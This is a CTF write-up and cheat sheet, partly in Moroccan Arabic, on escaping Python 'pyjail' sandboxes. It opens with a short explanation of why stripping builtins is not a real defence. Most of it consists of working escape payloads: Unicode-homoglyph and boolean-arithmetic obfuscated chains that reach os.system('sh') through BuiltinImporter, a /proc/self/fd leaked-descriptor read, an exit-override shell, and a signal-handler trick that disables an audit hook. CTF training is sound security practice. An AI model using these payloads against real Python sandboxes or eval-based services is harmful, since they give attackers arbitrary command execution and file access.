PyJail Bypass · Simple Guide
Bypass the sandbox restrictions and read flag.txt.
Goal
Bypass the sandbox restrictions and read flag.txt.
pyjail-cheatsheet#
https://shirajuki.js.org/blog/pyjail-cheatsheet/ (opens in a new tab)
Darooori tfhm hadchi#
builtins in python :#
Builtins هما الدوال والأنواع والقيم اللي بايثون كيقدّمهم تلقائياً لكل برنامج من غير ما تستورد شي حاجة. أمثلة معروفة: open, len, int, str, print, import, eval, object, Exception... هادو متواجدين فـ namespace اسمه builtins أو builtins. فكرة مهمة: حتى إلا منّيتي الوصول لـ__builtins__ مباشرة، بزاف من هاد الأشياء ما زال ممكن تلقاها عبر مراجع أخرى في الذاكرة (objects, types, modules) لأن بايثون محرّك معقّد وفيه graph ديال الكائنات (object graph). 2) إذا حيدتي builtins من environment ديال eval، شنو يقدر يصرى؟ (وشنو خاصك تفكّر فيه) حيدان builtins هو تخفيف للسطح الهجومي، ماشي حل سحري. باش تفهم: شنو تقدر تمنع: المستخدم ما يقدرش مباشرة يدعي open(...) أو import('os') عبر الاسم العادي لأن أسماء builtins ماشي متوفرة. هذي نقطة حماية أولية وبسيطة.
شنو ما تمنعش:#
وجود مراجع لكائنات وطرق الوصول ليها من خلال graph ديال الكائنات داخل الذاكرة (مثلاً: ().class, mro, subclasses()، أو modules محمّلة في sys.modules) يقدر يوصّل المهاجم لكائنات فيها وظائف قوية. modules محمّلة قبل الاستدعاء (مثل sys, types, importlib) ممكن تكون موجودة فـsys.modules وبالتالي بالبحث في هاد الهياكل يقدرو يستخرجو دوال. الاستثناءات والـtracebacks كتحتوي مراجع لكائنات ممكن توصل لموارد أخرى.
خلاصة: إزالة builtins يقلّل الخطورة لكن ما يمنعش الاستغلال المتقن لأن بايثون فيه طرق بديلة للوصول لوظائف النظام. لذلك إذا باغي أمان حقيقي: ما تستعملش eval على مدخلات غير موثوقة، أو عزل التنفيذ في عملية/حاوية بدون أسرار.
What the challenge blocks#
All letters (a–z, A–Z) All digits (0–9) The sequence __ (double underscore) All built-in functions (they set builtins = None)
Main idea#
Use Python internals (dunder methods) to reach objects that can load modules or run commands. Find the BuiltinImporter class in ().class.mro[1].subclasses() by index. Use that class to load the os module and call system('cat flag.txt') (or sh) to get the flag. Because letters/digits/__ are blocked, convert the ASCII payload to Unicode look‑alikes (fullwidth/homoglyphs) so the filter misses them.
How to find the index (locally)#
Run this in Python and note the index number for BuiltinImporter:
L = ().__class__.__mro__[1].__subclasses__()
for i, c in enumerate(L):
if 'BuiltinImporter' in str(c):
print(i)
breakUse that index in the payload.
ASCII payload (for testing locally)#
Replace with your found number:
().__class__.__mro__[1].__subclasses__()[<INDEX>].load_module('os').system('cat flag.txt')for exemple
().__class__.__mro__[1].__subclasses__()[104].load_module('os').system('sh')for exemple :
payload = "().__class__.__mro__[1].__subclasses__()[104].load_module('os').system('cat flag.txt')"can be converted to :
().__class__.__mro__[1].__subclass
es__()[104].load_module('os').syst
em('cat flag.txt')الآن بعدما عندنا payload شاغل، الخطوة الموالية هي تجاوز القيود على الأحرف الأبجدية الرقمية (alphanumeric) وعلامة التسطير (underscore). سنبدأ باستبدال الحروف الأبجدية، وهذا سهل ومباشر. بايثون يتعامل مع أحرف اليونيكود الأبجدية كأحرف عادية، وبنفس المنطق يمكننا أيضاً تجاوز قيد التسطير. النتيجة تكون:
().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__[1].__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__()[107].𝘭𝘰𝘢𝘥_𝘮𝘰𝘥𝘶𝘭𝘦('os').𝘴𝘺𝘴𝘵𝘦𝘮('sh')بعد ذلك خاصّنا نتجاوز جوج ديال الحوايج آخرين: الأرقام، وسلاسل النص os وsh. غنبدّاو بالأرقام أولاً. نقدرون نحقّقو هاد الشي عن طريق جمع قيم بوليانية بحال True + True اللي كيوازي 1 + 1 يعني 2. لكن المشكلة هي أن True و False فيهم أحرف أبجدية. نقدرو نعوضهم بتعابير بحال ('' == '') اللي تقيّم إلى True، و ('' != '') اللي تقيّم إلى False.
for exemple .
().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__[(''=='')+(''!='')].__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__()[(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')].𝘭𝘰𝘢𝘥_𝘮𝘰𝘥𝘶𝘭𝘦('os').𝘴𝘺𝘴𝘵𝘦𝘮('sh')
أخيراً، خاصّنا نجاوز سلاسل النص os وsh. نقدروا نديرو هاد الشي باستغلال الخصائص الخاصة (magic attributes) اللي تورّثها الـ tuples ()، واللي يمكن نحصروها باستعمال dir():
>>> dir(())
['__add__', '__class__', '__class_getitem__', '__contains__', '__delattr__', '__dir__', '__doc__',
'__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getstate__',
'__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__',
'__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmul__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', 'count', 'index']لحسن الحظ، الخاصية subclasshook تحتوي على الحروف o و s و h داخل اسمها. نقدروا نستعملوا ().subclasshook.name للحصول على اسم الخاصية ثم نأخذ كل حرف باستعمال الفهرسة (subscript):
السلسلة مع مواقع الحروف (index → char)
Index: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Char : '_' '_' 's' u b c l a s s h 'o' 'o' k '_' '_'
0 1 2 9 10 11 ...
().__subclasshook__.__name__[11] => 'o'
().__subclasshook__.__name__[2] => 's'
().__subclasshook__.__name__[10] => 'h'وبنفس الطريقة (باستعمال استبدال الأرقام والحروف بعبارات دون أحرف ASCII كما سبق) نقدرون نبنيو سلسلة النص os هكذا:
Wrapping everything up gives us the Final Payload:
index = 107
().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__[(''=='')+(''!='')].__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__()[(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')].𝘭𝘰𝘢𝘥_𝘮𝘰𝘥𝘶𝘭𝘦(().__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘩𝘰𝘰𝘬__.__𝘯𝘢𝘮𝘦__[(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')]+().__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘩𝘰𝘰𝘬__.__𝘯𝘢𝘮𝘦__[(''=='')+(''=='')]).𝘴𝘺𝘴𝘵𝘦𝘮(().__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘩𝘰𝘰𝘬__.__𝘯𝘢𝘮𝘦__[(''=='')+(''=='')]+().__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘩𝘰𝘰𝘬__.__𝘯𝘢𝘮𝘦__[(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')])now for index = 104
().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__[(''=='')+(''!='')].__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__()[(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')].𝘭𝘰𝘢𝘥_𝘮𝘰𝘥𝘶𝘭𝘦(().__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘩𝘰𝘰𝘬__.__𝘯𝘢𝘮𝘦__[(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')]+().__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘩𝘰𝘰𝘬__.__𝘯𝘢𝘮𝘦__[(''=='')+(''=='')]).𝘴𝘺𝘴𝘵𝘦𝘮(().__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘩𝘰𝘰𝘬__.__𝘯𝘢𝘮𝘦__[(''=='')+(''=='')]+().__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘩𝘰𝘰𝘬__.__𝘯𝘢𝘮𝘦__[(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')])now for index = 122
().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__[(''=='')+(''!='')].__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__()[(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')].𝘭𝘰𝘢𝘥_𝘮𝘰𝘥𝘶𝘭𝘦(().__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘩𝘰𝘰𝘬__.__𝘯𝘢𝘮𝘦__[(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')]+().__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘩𝘰𝘰𝘬__.__𝘯𝘢𝘮𝘦__[(''=='')+(''=='')]).𝘴𝘺𝘴𝘵𝘦𝘮(().__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘩𝘰𝘰𝘬__.__𝘯𝘢𝘮𝘦__[(''=='')+(''=='')]+().__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘩𝘰𝘰𝘬__.__𝘯𝘢𝘮𝘦__[(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')+(''=='')])challenge 2#
secure library
The challenge introduces a vulnerability caused by the fact that file descriptors are not properly closed after being opened, leading to an FD leak. In Linux, open file descriptors can be accessed via the /proc filesystem, specifically through /proc/self/fd/, which holds symbolic links to all open file descriptors of the running process. When the program opens flag.txt, it leaves the file descriptor (which is FD 6 in this case) open, making it possible to bypass the program’s restrictions on reading the flag. By navigating to /proc/self/fd/6, you can directly access the content of flag.txt without triggering any of the content obfuscation logic in the program, allowing you to retrieve the flag. change the 6 by teh true id test :
/proc/self/fd/6challenge 3#
description
import string
code = input("gol chno bghiti yalah > ")
rak_dayz = all([(char in string.printable) for char in code])
if rak_dayz:
sayn_sayn_nchof = all([(char in string.ascii_lowercase + " ") for char in code])
if sayn_sayn_nchof :
exec(code)
exit(sayn_sayn_nchof)
elif all([(char in string.punctuation+string.digits) for char in code]):
print("wach bghiti t7ssab chi 7aja ??")
value = eval(code, {"__builtins__": None})
print(f"{code} = {value}")
else:
print("ylah ghyrha !!!!")
exit()
exit()lfikra : الكود عندك فيه جوج مسالك لقبول الإدخال: واحد اللي يسمح فقط بحروف صغيرة ومسافات، وواحد اللي يسمح فقط بعلامات الترقيم والأرقام.
writeup :
https://github.com/soufiane27-mlk/secopsCTF_ENSAF/tree/main/misc/pyjail_zaydالمسار ديال الحروف الصغيرة كان يستعمل exec(code) · يعني إذا دخل شي حد كود بايثون صالح فهاد المسار، هاد الكود غادي يتنفّذ داخل نفس العملية. هذي نقطة خطيرة: exec يعطي القدرة لتنفيذ أي كود بايثون داخل البرنامج.
final payload :
from code import interact as exitchallenge 3 audit Hook#
payload :
(g:=globals(),u:=chr(95),b:=g[u+'builtins'+u],i:=b['__import__'](https://github.com/Anas-Magane/Pentesting/blob/260eaa611e1fb346832761f63cb9350e2bb33750/PyJail/'sys'),m:=i.modules,x:=next(v for v in m.values() if hasattr(v,'raise'+u+'signal')),x.signal(2,lambda n,f:setattr(getattr(getattr(getattr(f,'f'+u+'back'),'f'+u+'locals')['hook'],u+'closure'+u)[0],'cell'+u+'contents',chr)),x.raise_signal(2),open('flag').read())0,(s:=__import__('sys').modules['_signal']),s.signal(2,lambda n,f:f.f_back.f_locals['hook'].__closure__[0].__setattr__('cell_contents',chr)),s.raise_signal(2),open('flag').read()